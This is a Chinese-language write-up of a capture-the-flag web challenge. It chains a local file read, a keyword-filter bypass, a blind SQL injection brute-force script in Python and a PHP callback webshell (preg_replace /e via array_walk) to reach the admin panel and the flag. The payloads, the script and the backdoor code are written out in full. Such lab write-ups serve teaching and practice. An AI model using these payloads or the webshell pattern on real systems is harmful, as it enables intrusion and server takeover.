南邮CTF平台-Web-综合题2 Writeup

题目

南邮ctf平台上的一道web题,比较综合。

mark

题目页面如下:

mark

解题思路

1. 收集信息

首先收集一下可用的信息,看到页面最下方有一个“本CMS说明”,打开看看,果然是 hint :

mark

注意放大部分,使用GET方法获取一个文件参数file以读取文件,我们可以如法炮制,读取网站中各文件的内容,其中比较关键的页面源码如下:

  • passencode.php 内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

可见网站加密密码的方法就是……取ASCII码(hhh……),这个在后面会用到。

  • config.php

在试图读取这个看起来很可能存在有用信息的 config.php 文件时遇到了问题:

mark

暂时跳过,最后在 about.php 中发现了原因:

  • about.php 内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
?>

在 about.php 中除了过滤 config.php 使其不能被访问以外,还读到了一个名为 loginxlcteam 的文件目录,尝试打开,发现是站点后台:

mark

虽然不能读到页面的源代码,但是通过尝试登录可以发现错误提示中包含的一些信息。比如,用户名输入 admin ,密码任意输入时,提示为“密码错误”,而用户名输入其他任意字符串,则提示“用户名不存在”,因此可初步认为后台管理用户名为 admin。

2. SQL注入

页面里有查询和留言功能,所以首先想到的攻击点是SQL注入和XSS,因为题目明确了“非XSS题”,所以猜想最可能的点是SQL注入。

尝试在留言搜索框中随便输入点什么,得到如下提示:

mark

看到“本公司开发的浏览器”,首先想到的就是 http header 中的 user-agent ,又发现跳转到的是一个之前没有见过的页面 so.php , 故读取一下该文件,得到源码:

  • so.php 内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>
<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>gt;

得到 user-agent 为:Xlcteam Browser。还发现了注入点和一个反注入机制,如下:

  • antiinject.php 内容:
1
2
3
4
5
6
7
8
9
10
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>gt;

逻辑就是把输入中的敏感关键字和符号替换为空,可以采用形如“sSELECTelect”的方法来绕过。

在 sm.txt 中已经给出了 admin 表的结构,构造 payload 试探出 userpass 字段的长度为34:

1
soid=1/**/aANDnd/**/exists(sSELECTelect/**/*/**/fFROMrom/**/aADMINdmin/**/where/**/length(userpPASSass)>33)

爆破一下密码,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import datetime
url = 'http://cms.nuptzj.cn/so.php'
header = {
'Host':'cms.nuptzj.cn',
'User-Agent': 'Xlcteam Browser' ,
}
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
print("[*]Start cracking...")
result= ""
starttime = datetime.datetime.now()
for j in range(1,35):
for i in charset:
char = str(ord(i))
num = str(j)
payload = '1/**/aANDnd/**/exists(sSELECTelect/**/*/**/fFROMrom/**/aADMINdmin/**/WHERE/**/oORrd(substring(userpPASSass/**/fFROMrom/**/{0}/**/foORr/**/1))>{1})'.format(num,char)
data = {
"soid":payload
}
response = requests.post(url=url,headers=header,data=data)
result_len = len(str(response.text))
if(result_len < 430):
result = result + chr(int(char))
break
endtime = datetime.datetime.now()
print("[*]passwd is: " + result)
print("[*]time:%ds" % (endtime - starttime).seconds)

得到密码的 ASCII 码:,对应字符串 fuckruntu:

mark

使用用户名 admin,密码 fuckruntu 成功登录后台。

3.一句话木马

后台页面如下:

mark

xlcteam.php 的源码如下:

1
2
3
4
5
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

查了一下,这是一个利用了php中回调函数的后门,可以使 www 为 preg_replace 函数,当 array_walk() 将函数作用于数组时, POST 传入的数据作为 preg_replace() 的第二个参数,在替换后被当做 php 代码执行(在php5.3下可用,5.5后preg_replace函数已弃用了使替换后的字符串作为php代码执行的/e修饰符)。测试如下:

mark

然后用某菜刀连一下这个shell,获取到服务器的文件:

mark

打开文件“恭喜你获得flag2.txt”,获得 flag:nctf{you_are_s0_g00d_hacker}